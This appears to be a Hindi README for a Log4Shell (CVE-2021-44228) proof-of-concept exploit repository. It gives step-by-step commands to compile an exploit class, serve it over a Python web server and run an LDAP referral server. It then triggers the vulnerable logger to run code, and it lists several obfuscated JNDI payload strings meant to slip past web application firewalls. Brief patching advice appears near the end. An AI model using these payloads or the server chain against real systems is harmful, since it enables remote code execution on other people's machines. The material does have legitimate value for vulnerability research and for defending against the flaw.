
Log4Shell (CVE-2021-44228) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो JNDI इंजेक्शन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन प्रदर्शित करता है, जिसमें पेलोड कंपाइलेशन, LDAP सर्वर सेटअप, और WAF बायपास तकनीकें शामिल हैं।
1.x के संस्करणों में अन्य कमजोरियाँ हैं, हम अनुशंसा करते हैं कि आप नवीनतम संस्करण अपडेट करें।
Log4Shell (CVE-2021-44228) से जुड़े सुरक्षा परामर्श / बुलेटिन
इस प्रोजेक्ट को डाउनलोड करें, एक्सप्लॉइट कोड blob/master/src/main/java/Exploit.java को कंपाइल करें, और एक वेबसर्वर शुरू करें जो कंपाइल की गई बाइनरी को डाउनलोड करने की अनुमति दे।
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# वेबसर्वर शुरू करें
# Python2 के लिए
python -m SimpleHTTPServer 8888
# Python3 के लिए
python3 -m http.server 8888
# सुनिश्चित करें कि python वेबसर्वर Exploit.class के समान निर्देशिका में चल रहा है, परीक्षण के लिए
curl -I 127.0.0.1:8888/Exploit.class
एक और प्रोजेक्ट डाउनलोड करें और JNDI संदर्भ लौटाने वाला LDAP सर्वर कार्यान्वयन चलाएँ https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 आवश्यक है
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
एक्टिवेशन कोड बनाएँ और चलाएँ (एक कमजोर java वेब सर्वर पर log4j हमले का अनुकरण करें) blob/master/src/main/java/log4j.java, और आपका कैलकुलेटर ऐप दिखाई देगा।
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# निम्नलिखित की अपेक्षा करें
# 1. कैलकुलेटर ऐप दिखाई दे
# 2. ldapserver कंसोल में,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. वेबसर्वर कंसोल में,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
सुझाव:
आपको बचाने के लिए वर्तमान Java संस्करण पर भरोसा न करें। Log4j को अपडेट करें (या JNDI लुकअप हटाएँ)। विस्तार को अक्षम करें (वैसे भी यह एक बहुत बुरा विचार लगता है)।
उदाहरण के लिए:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
वेब एप्लिकेशन फ़ायरवॉल पर भरोसा न करें।
लुकअप Log4j कॉन्फ़िगरेशन में मनमाने स्थानों पर मान जोड़ने का एक तरीका प्रदान करते हैं।
finally में लीक पैदा करने के तरीके
LogManager.getLogger().error()
LogManager.getLogger().fatal()
यदि आप ब्लैक-बॉक्स परीक्षण करना चाहते हैं, तो मैं सुझाव देता हूँ कि आप निष्क्रिय स्कैनिंग करें।
मज़े करें!!!
